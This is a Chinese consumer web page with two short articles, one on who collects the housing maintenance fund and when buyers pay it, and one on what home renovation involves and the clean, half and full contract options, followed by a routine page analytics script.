房屋维修基金交给谁？什么时候交？

对很多人来说，买房是人生中的一件大事，尤其现在房价这么贵，很多的人都需要了解好可能需要缴纳的费用，以便可以更合理的安排手中的资金。大家都知道买房子需要缴纳的费用是比较多的，比如契税、房屋维修基金等。今天小编要给大家说的就是房屋维修基金的问题。那么房屋维修基金交给谁，什么时候交?下面小编给大家做一个详细的介绍。房屋维修资金该交给谁?1、这个问题很简单，当然是交给开发商了!很多开发商都会有一个账户，只要你把钱打进账户里就行，并没有很多程序。一般来说，公共维修资金是业主的，理应由业主自己决定，但现在各地基本上是由房管局代管。2、物业维修基金管理办法中规定，成立业主委员会的小区，应该由业主委员会在指定银行设立专户，将维修基金转入专户存放并按规定使用，房管局相关部门进行监管。但实际上，各地发展很不均衡，北上广地区做得好一些，其它地区则很难做到由业委会管理。3、由于业委会是一个松散型的、完全自发的组织，组织结构不稳定，能够坚持长久并良好运行的业委会目前不多，所以把这么一大笔钱交给一个极不稳定的机构来管理确实令人担心。房屋维修基金什么时候交?1、业主应在房屋交房前，交纳房屋维修基金。首期房屋专项维修资金，业主可以直接存入房屋专项维修资金专户，也可以委托房地产开发企业代交。委托房地产开发企业代交的，房地产开发企业应当自收到房屋维修基金之日起30日内，将代交的房屋专项维修资金存入房屋专项维修资金专户。2、房屋维修基金实际上包括房屋公用设施专用基金和房屋本体维修基金。房屋公用设施专用基金简称专用基金，用于物业共用部位、公用设施及设备的更新、改造等项目，不得挪作他用。专用房屋维修基金实行“钱随房走”的原则，房屋转让时看，账户里的余额资金也随之转移给房屋的新的产权所有人。我们在购买房屋的时候会涉及到很多的费用，其中有一项就是房屋维修基金。那么房屋维修基金是做什么用的?这个房屋维修基金又交给了谁?房屋维修基金主要是用来维修自己购买的房屋，如果房子出现漏水等质量问题，便可以找开发商来启动维修资金进行维修。小编在上文中介绍了房屋维修基金具体是交给了谁?大家在需要的时候可做参考。

大伙晓得装修一般装修些什么吗

中国平均每天都会卖出很多套房，当然每天也会有人在装修房子，不可能人人都是已经装修过两三套的熟手，还有很多装修小白在发问，装修一般装修些什么？装修的流程是些什么呢？装修应该注意些什么了？当然不可能通过一篇短短的文章，就能让小白变专家，但是基本奠定个基础，知道一下装修一般装修些什么还是可以的。装修一般分为硬装和软装。硬装通常叫做看不见的工程，十分基础而重要的水电改造，墙面处理，吊顶，地面处理都是硬装的范围，软装则是为了美而美，从这个逻辑来说，家具的选择，墙纸的配色，灯具的花样，窗帘的图案都属于其中。其实其中每一个小小的环节都能写上大大的一篇文章，装修小白在理清楚流程后，在知道装修一般装修些什么后，可以分条分块再进行了解。装修按照业主操心指数还能分为清包、半包、全包三种方式。清包即为所有工人、材料全由业主去联系去购买，整个装修都由业主把控，半包和全包则是和装修公司签订协议，半包是装修公司提供项目经理来管控整个装修的工人和过程，主要材料由业主自行购买，全包则是由装修公司负责整个装修全过程，甚至到家电家具的购买都能囊括，可以做到让业主拎包入住，但是费用相应也是高一些。这里不会就装修方式进行推荐，只是为了对小白进行一次普及，不用再问装修一般装修些什么这种问题，可以根据自己的钱包和时间的平衡来选择一个合适的装修方式，合适的就是最完美的，还有一点就是提前的学习对装修防坑有很好的效果，但是人无完人，也不能事事完美，装修也是一个不断将就的过程。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();